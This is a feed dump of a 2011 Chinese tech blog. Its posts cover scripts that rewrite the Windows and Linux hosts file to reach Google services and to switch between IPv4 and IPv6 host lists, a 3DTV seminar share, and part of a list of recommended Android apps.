<p>如果在校园网中，IPv6无疑是一个良好的解决方案，<a title="ipv6高速访问国外网站" href="http://logicmd.net/2010/04/high-speed-visiting-abroad-websites-using-ipv6/" target="_blank">本博这篇文章</a>给出了相关方法，在Google Code上也有一个<a href="http://code.google.com/p/ipv6-hosts/source/browse/hosts" rel="nofollow" target="_blank">Project</a>专门维护Google IPv6的<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/host/" title="查看 Host 中的全部文章" target="_blank">Host</a></span>列表。</p>
<p>但是在没有IPv6环境的情况，这个自动脚本就有了意义。本脚本最初来自Google+ 上的<a href="https://plus.google.com/102216617437795883914/about" rel="nofollow" target="_blank">Felix Hsu</a>，他已发布<a href="https://plus.google.com/102216617437795883914/posts/EzYX2HJjm61" rel="nofollow" target="_blank">正式版</a>，但是我还是个人更喜欢这个version 3一些~ XD</p>
<p>Windows Vista/7用户在开启UAC的情况下需要“右键-&gt;以管理员的身份运行”</p>
<p><a href="http://logicmd.net/wp-content/uploads/2011/07/hostsp_v3.bat" rel="nofollow">点击此下载该脚本</a><br />
建议大家使用<a href="http://code.google.com/p/smarthosts/" rel="nofollow">smarthosts</a><span id="more-42442"></span></p>
<pre class="brush:shell">@echo off
REM 欢迎圈我,在顶栏的&quot;查找人员&quot;处输入Felix Hsu即可
REM Mod by logicmd
REM 准备工作,先清一下DNS缓存,再备份hosts
ipconfig /flushdns
cls

REM 测试时有的朋友会不耐烦的点掉,咱提示一下:
echo Google+ hosts自动修改脚本
echo 请稍等一下,正在通过网络获取可用IP

REM 然后ping www.google.cn和www.google.com以获取最新的IP,赋值%CNIP%和%COMIP%
REM ping ditu.google.cn获取最新的IP,赋值%MAPIP%

for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping www.g.cn&#039;) do set CNIP=%%i
for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping www.l.google.com&#039;) do set COMIP=%%i
for /f &quot;tokens=2 delims=[]&quot; %%i in (&#039;ping ditu.google.cn&#039;) do set MAPIP=%%i

REM 找到之前改过的行,删掉,很stupid的方法...
type %windir%\System32\drivers\etc\hosts|find &quot;#THISISNOTE&quot; /i /v|find &quot;#Google Plus&quot; /i /v|findstr &quot;.&quot; &gt;&gt;%windir%\System32\drivers\etc\hosts2
ren %windir%\System32\drivers\etc\hosts hosts3
ren %windir%\System32\drivers\etc\hosts2 hosts
del hosts3 /s /q

REM 为了美观和避免直接在文件末尾添加的惨剧,咱空一行
echo.  &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #Google Plus &gt;&gt;%windir%\System32\drivers\etc\hosts

REM 把获取到的%CNIP%和%COMIP%给写进去,为了方便以后可以删除,加了一个#THISISNOTE 的注释,我实在是想不出怎么做了,望见谅
echo %CNIP% plus.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% talkgadget.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% picasaweb.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh1.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh2.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh3.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh4.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh5.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %COMIP% lh6.ggpht.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh6.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh5.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh4.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh3.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh2.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% lh1.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com.hk  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plusone.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% s2.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% s1.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images1-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images2-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images3-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images4-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images5-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images6-focus-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% images-pos-opensocial.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% maps-api-ssl.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com.hk  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% webcache.googleusercontent.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% mail.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% www.googlelabs.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% docs.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% plus.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% profiles.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% services.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% clients4.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% clients2.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% chrome.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %CNIP% tools.google.com #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts 

REM 把获取到的%MAPIP%
echo %MAPIP% maps.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts
echo %MAPIP% ditu.google.com  #THISISNOTE &gt;&gt;%windir%\System32\drivers\etc\hosts  

REM ok,搞定
echo 您的hosts编辑完成.
REM 按任意键继续的功能千万别有,否则别人问你按任意键是神马意思的话...</pre>
<blockquote><p>UPDATE：建议大家使用<a href="http://code.google.com/p/smarthosts/" rel="nofollow">smarthosts</a></p></blockquote>
<h2>FAQ[<a href="#c1">1</a>]</h2>
<ul>
<li>这些IP是否可靠？</li>
</ul>
<p style="padding-left: 30px;">这些IP都来自于GoogleCN在BJ的数据中心，包括大约30个C段IP（203.208.32.0 &#8211; 203.208.63.255）</p>
<ul>
<li>这些IP都在国内理论上将是否能够一直可用？</li>
</ul>
<p style="padding-left: 30px;">不能保证未来的可用性。</p>
<ul>
<li>用这些Host是否意味着Google用户的Mail/Plus/Picasa存在BJ的数据中心的呢？还是采用的反向代理或者隧道一类的技术？</li>
</ul>
<p style="padding-left: 30px;">只是反向代理，谷歌分布式系统中的 Web server 部分，参见 [<a href="#c2">2</a>]。</p>
<h2>Promotion</h2>
<p>最后，荒淫大家来<a href="http://logicmd.net/+" rel="nofollow" target="_blank">圈</a>我。</p>
<p><a href="http://logicmd.net/wp-content/uploads/2011/07/moving_to_Gplus.png"><img class="aligncenter size-medium wp-image-42446" title="moving_to_Gplus" src="http://logicmd.net/wp-content/uploads/2011/07/moving_to_Gplus.png" alt="" width="460" height="674" /></a><br />
<a name="c1"></a>[1]<a href="http://www.zhihu.com/question/19749678" rel="nofollow" target="_blank">http://www.zhihu.com/question/19749678</a><br />
<a name="c2"></a>[2][Micro'03] Web search for a planet: The Google cluster architecture <a href="http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf" rel="nofollow" target="_blank">http://static.googleusercontent.com/external_content/untrusted_dlcp/labs.google.com/en//papers/googlecluster-ieee.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/07/automatically-get-google-host-patch-script/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>快速切换IPv4/IPv6 host的脚本</title>
		<link>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/</link>
		<comments>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/#comments</comments>
		<pubDate>Mon, 20 Jun 2011 17:32:52 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Shell/Batch]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42437</guid>
		<description><![CDATA[这篇文章讲了一些Google等国外网站IPv6 host列表。使用它们速度更快，更无束缚。但是如果在一个IPv6经常坏掉的校园网，或者需要经常移动到没有IPv6的网络中，一个切换IPv4/IPv6 host列表的脚本无疑很重要。

Windows平台
Window平台中host列表存放在 %windir%\System32\drivers\etc，我们规定IPv6的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。
::	Description:
::	  This  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://logicmd.net/2010/04/high-speed-visiting-abroad-websites-using-ipv6/">这篇文章</a>讲了一些Google等国外网站<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/ipv6/" title="查看 IPv6 中的全部文章" target="_blank">IPv6</a></span> host列表。使用它们速度更快，更无<a href="http://www.google.com.hk/search?q=%E7%95%AA%E7%BE%BD%E5%9C%9F%E5%95%AC">束缚</a>。但是如果在一个IPv6经常坏掉的校园网，或者需要经常移动到没有IPv6的网络中，一个切换IPv4/IPv6 host列表的脚本无疑很重要。<br />
<span id="more-42437"></span></p>
<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/windows/" title="查看 Windows 中的全部文章" target="_blank">Windows</a></span>平台</h2>
<p>Window平台中host列表存放在 <code>%windir%\System32\drivers\etc</code>，我们规定IPv6的hosts存放在hosts.v6，IPv4的hosts存放在hosts.v4，处于其中一个状态时其内容存放在hosts文件中，使用如下batch则可以完成hosts状态的判断。</p>
<pre class="brush:powershell" title="SwitchHosts.bat">::	Description:
::	  This batch is used to switch host files from ipv4 to ipv6 or the other.

@ECHO OFF
SET FileLocation=%WINDIR%\System32\drivers\etc
SET IPV4FileName=hosts.v4
SET IPV6FileName=hosts.v6
SET TargetFileName=hosts

:: If host.ipv6 exits, switch to IPV6, else switch to IPV4
IF EXIST %FileLocation%\%IPV6FileName% (

	:: Switch to IPV6
	CHOICE /M &quot;Swithed to IPv6?&quot; /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv6 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV4FileName%
	REN %FileLocation%\%IPV6FileName% %TargetFileName%

) ELSE IF EXIST %FileLocation%\%IPV4FileName% (

	:: Switch to IPV4
	CHOICE /M &quot;Swithed to IPv4?&quot; /T 0020 /D N
	IF ERRORLEVEL 2 GOTO END
	IF ERRORLEVEL 1 ECHO Successfully Switched to IPv4 Hosts!

	REN %FileLocation%\%TargetFileName% %IPV6FileName%
	REN %FileLocation%\%IPV4FileName% %TargetFileName%

)

PAUSE
EXIT

:END
ECHO Nothing changed!</pre>
<p>在Windows vista和 Windows 7系统中，有用户帐户控制（UAC），总是右键去点击使用管理员权限执行会麻烦，一个解决方案是使用<a href="http://logicmd.net/wp-content/uploads/2011/06/quickbfc.exe">Quick batch file compiler</a>将其编译成exe，然后设定成总是需要管理员权限即可。<br />
最终生成的是SwitchHosts.exe文件。</p>
<blockquote><p>脚本下载地址：<br />
<a href="http://dl.dbank.com/c0l8vthy17" rel="nofollow">http://dl.dbank.com/c0l8vthy17</a></p></blockquote>
<h2><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/linux/" title="查看 Linux 中的全部文章" target="_blank">Linux</a></span>平台</h2>
<p>Linux平台中host列表存放在 <code>\etc</code>，我们做同样的文件名规定。</p>
<pre class="brush:shell" title="switch">
#!/bin/bash
#Description:
#This scripts is used to switch host files from ipv4 to ipv6 or the other.
if [ -f /etc/hosts.v6 ] # Now using ipv4 mode
then
	sudo cp /etc/hosts /etc/hosts.v4
	sudo cp /etc/hosts.v6 /etc/hosts
	sudo rm -f /etc/hosts.v6
	echo &quot;Successfully switched to ipv6 hosts!&quot;
elif [ -f /etc/hosts.v4 ] # Now using ipv6 mode
then
	sudo cp /etc/hosts /etc/hosts.v6
        sudo cp /etc/hosts.v4 /etc/hosts
        sudo rm -f /etc/hosts.v4
	echo &quot;Successfully switched to ipv4 hosts!&quot;
else
	echo &quot;ERROR! No Backup File is found!&quot;
fi
</pre>
<p>最后
<pre class="brush:shell" >chmod switch 644
cp ./switch /usr/bin</pre>
<p>之后直接在terminal中输入switch即可~<br />
在Ubuntu 10.04测试通过。<br />
EOF</p>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/06/a-script-quickly-switch-ipv4-ipv6-host/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Seminar share: Transport methods in 3DTV&#8211;A Survey</title>
		<link>http://logicmd.net/2011/04/seminar-share-transport-methods-in-3dtv-a-survey/</link>
		<comments>http://logicmd.net/2011/04/seminar-share-transport-methods-in-3dtv-a-survey/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 13:49:08 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Academic]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[Seminar]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42433</guid>
		<description><![CDATA[Introduction
On April 28th, I have my first seminar presentation in ICST. As a newbie, I choose a survey paper as my first try whose title is Transport methods in 3DTV.
The presentation is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel  [...]]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p>On April 28th, I have my first seminar <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/presentation/" title="查看 presentation 中的全部文章" target="_blank">presentation</a></span> in ICST. As a newbie, I choose a survey paper as my first try whose title is <em>Transport methods in 3DTV.</em></p>
<p>The presentation is a refined version of the original paper. All the documents is shown as belows. Hope you enjoy them and feel free to comment whatever in your mind <img src='http://logicmd.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h2>Presentation</h2>
<div style="margin: 0 auto;">
<div id="__ss_8174070" style="width: 595px;">
<p><strong style="display: block; margin: 12px 0 4px;"><a title="Transport methods in 3DTV--A Survey" href="http://www.slideshare.net/logicmd/transport-methods-in-3dtva-survey-8174070" target="_blank">Transport methods in 3DTV&#8211;A Survey</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8174070" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="595" height="497"></iframe></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/" target="_blank">presentations</a> from <a href="http://www.slideshare.net/logicmd" target="_blank">Kevin Tong</a></div>
</div>
</div>
<p><span id="more-42433"></span></p>
<h2>Original paper</h2>
<div style="margin: 0 auto;">
<div id="__ss_8137531" style="width: 572px;">
<p><strong style="display: block; margin: 12px 0 4px;"><a title="Transport methods in 3DTV--A Survey" href="http://www.slideshare.net/logicmd/transport-methods-in-3dtva-survey" target="_blank">Transport methods in 3DTV&#8211;A Survey</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8137531" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="572" height="612"></iframe></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/" target="_blank">documents</a> from <a href="http://www.slideshare.net/logicmd" target="_blank">Kevin Tong</a></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://logicmd.net/2011/04/seminar-share-transport-methods-in-3dtv-a-survey/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>我的Android Apps清单</title>
		<link>http://logicmd.net/2011/02/list-of-my-android-apps/</link>
		<comments>http://logicmd.net/2011/02/list-of-my-android-apps/#comments</comments>
		<pubDate>Tue, 01 Feb 2011 13:10:45 +0000</pubDate>
		<dc:creator>logicmd</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[OpenVPN]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://logicmd.net/?p=42424</guid>
		<description><![CDATA[

文章目录

关于市场
验机必备（三只）
Google App类（九只）
通信及系統类（十一只）
影音娱乐类（五只）
Web &#38; Web2.0类（八只）
实用工具类（十三只）
游戏装X类（八只）



入手Desire Z一周多，尝试过的Android应用来来去去也有100多个了，不敢独享，特来分享  
Live Version: http://bit.ly/my-android-apps

零、关于市场
什么东西进入中国都有“中国特色”，在这一点上Android也不能例外，本来Google 官方好好的 Android  [...]]]></description>
			<content:encoded><![CDATA[<div id="toc_container" style="float: right; background: white;">
<div id="toc" style="float: right; max-width: 200px; padding: 6px; margin: 0 0 20px 20px; border: 1px sulid #EDF3DE; background: white; border-radius: 6px;">
<div id="title" style="border-bottom: 1px sulid #EDF3DE; display: block; font-size: 16px; font-weight: buld; padding: 0px 4px 5px 4px;">文章目录</div>
<ul id="ul_1" style="display: block;">
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#0">关于市场</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#1">验机必备（三只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#2">Google App类（九只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#3">通信及系統类（十一只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#4">影音娱乐类（五只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#5">Web &amp; Web2.0类（八只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#6">实用工具类（十三只）</a></li>
<li><a href="http://logicmd.net/2011/02/list-of-my-android-apps/#7">游戏装X类（八只）</a></li>
</ul>
</div>
</div>
<p>入手Desire Z一周多，尝试过的<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff"><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank">Android</a></span></b></a></span>应用来来去去也有100多个了，不敢独享，特来分享 <img src='http://logicmd.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<pre>Live Version: http://bit.ly/my-android-apps</pre>
<p><span id="more-42424"></span></p>
<h2><a name="0"></a>零、关于市场</h2>
<p>什么东西进入中国都有“中国特色”，在这一点上<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>也不能例外，本来<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> 官方好好的 <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span> Market，在国内又出现了数十个论坛自己所谓的市场。在<b style="culor:black;background-culor:#ffff66">我</b>看来，尽量只使用<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span> Market官方市场，毕竟有巨大的用户数量做保证（国外貌似没有这么多鱼龙混杂的市场），又有25美刀的注册费做门槛；这样一来太糟糕、恶意的应用很难藏身。所谓的“数字卫士”，所谓的安X市场应用检测倒显得没有必要了。</p>
<p>闲话不说开始正题。<br />
<span id="more-42424"></span></p>
<h2><a name="1"></a>壹、验机必备（三只）</h2>
<p>Desire Z在国内只有私货，验机很重要！</p>
<p><img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Dead%20Pixel%20Test.png" alt="Dead Pixel Test" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Dead Pixel Test</li>
</ul>
<p>用最高亮度多达10钟颜色壁纸检查LCD是否有亮点坏点。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/MultiTouch%20Tester.png" alt="MultiTouch Tester" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>MultiTouch Tester</li>
</ul>
<p>检查多点触控点数。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Z-DeviceTest.png" alt="Z-DeviceTest" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Z-DeviceTest</li>
</ul>
<p>给机身所有硬件，包括摄像头、GPS、蓝牙，加速度计、罗盘、扬声器、话筒以及所有你想得到的硬件，做检查。</p>
<h2><a name="2"></a>贰、<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> App类（九只）</h2>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>手机系<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span>出品，最大的特色有很多推送的应用。</p>
<p><img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/market-enabler.png" alt="Market Enabler" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Market Enabler（需要root权限）</li>
</ul>
<p>Must have app。有了它才能在菜市场看到很多好用但是不面向天朝的应用。（例如<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> maps）<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-maps.png" alt="Google Maps" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps</li>
</ul>
<p>Must have app。最新的5.0版支持离线地图，且地图全部采用矢量图存储，更少的Loading；有了罗盘模式手机再也不必转来转去了~<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/street-views.png" alt="Street View on Google Maps" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Street View on <span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps</li>
</ul>
<p><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Maps街景模式插件。开了罗盘模式后效果一级震撼啊！但是在国内几乎没用，肉身不能出国的来看看吧。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-earth.png" alt="Google Earth" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Earth</li>
</ul>
<p>很好玩，提供几乎跟PC上同样的效果，看到很多Panoramio图床的风景。<br />
<img style="float: right; margin-top: 15px; margin-right: 3px; margin-bottom: 0px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-sky-maps.png" alt="Google Sky Map" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Sky Map</li>
</ul>
<p>据说是把妹必备应用 <img src='http://logicmd.net/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />   非常有创意，非常好玩。<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-goggles.png" alt="Google Goggles" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Goggles</li>
</ul>
<p>第一次好像要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后之后才能正常使用。条形码识别跟国内产品线不对应，使用意义不大。能解数独，这点很创意的可是居然只开放给米国使用，挂<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后国内方可使用。<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/google-reader.png" alt="Google Reader" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li><span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/google/" title="查看 Google 中的全部文章" target="_blank">Google</a></span> Reader</li>
</ul>
<p>Must have app。不解释，第一次好像也要<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/vpn/" title="查看 VPN 中的全部文章" target="_blank">VPN</a></span>后才能正常使用<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/Chrome%20to%20Phone.png" alt="Chrome to Phone" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Chrome to Phone（谷歌浏览器转手机）</li>
</ul>
<p>多好的服务啊，可惜也被墙了&#8230;<br />
<img style="float: right; margin: 0px 3px 0px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/gtasks.png" alt="GTasks" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>GTasks</li>
</ul>
<p>非官方出品，和Google Task 同步，效果不错。 和ROM中的Google Calender一起，GTD必备。</p>
<h2><a name="3"></a>叁、通信及系統类（十一只）</h2>
<p>来源于对于Symbain平台上“来电通”功能的需要。来去电归属地和来电黑名单ROM里面有了，<span class='wp_keywordlink_affiliate'><a href="http://logicmd.net/tag/android/" title="查看 Android 中的全部文章" target="_blank"><b style="culor:black;background-culor:#a0ffff">Android</b></a></span>版的来电通很不给力。</p>
<p><img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/missed-call.png" alt="Missed Call" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Missed Call</li>
</ul>
<p>用于未接来电提醒，很小巧，不累赘。未读短信提醒做的很糟糕，只用未接来电提醒好了。 = =<br />
<img style="float: right; margin: 0px 3px 15px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/GO-SMS.png" alt="GO SMS" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>GO SMS</li>
</ul>
<p>少见的国产软件精品，用于未读短信提醒，还有很多短信增强功能。用过 Handcent SMS，更加老牌，但是不是很符合国内使用习惯，UI也没有GO SMS好看。<br />
<img style="float: right; margin-top: 0px; margin-right: 3px; margin-bottom: 10px; margin-left: 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/3G-Watchdog-Pro.png" alt="3G Watchdog Pro" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>3G Watchdog Pro</li>
</ul>
<p>流量监控，带有直观的widget，还可以按时间，按应用生成流量报告，很强大，Must Have！<br />
<img style="float: right; margin: 0px 3px 5px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/ATK.png" alt="Advanced Task Killer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
<li>Advanced Task Killer</li>
</ul>
<p>任务管理器，Must Have！很小巧，很高效。<br />
<img style="float: right; margin: 0px 3px 2px 3px;" src="http://logicmd.net/wp-content/uploads/2011/02/android-apps/re.png" alt="Root Explorer" width="48" height="48" /></p>
<ul>
</ul>
<ul>
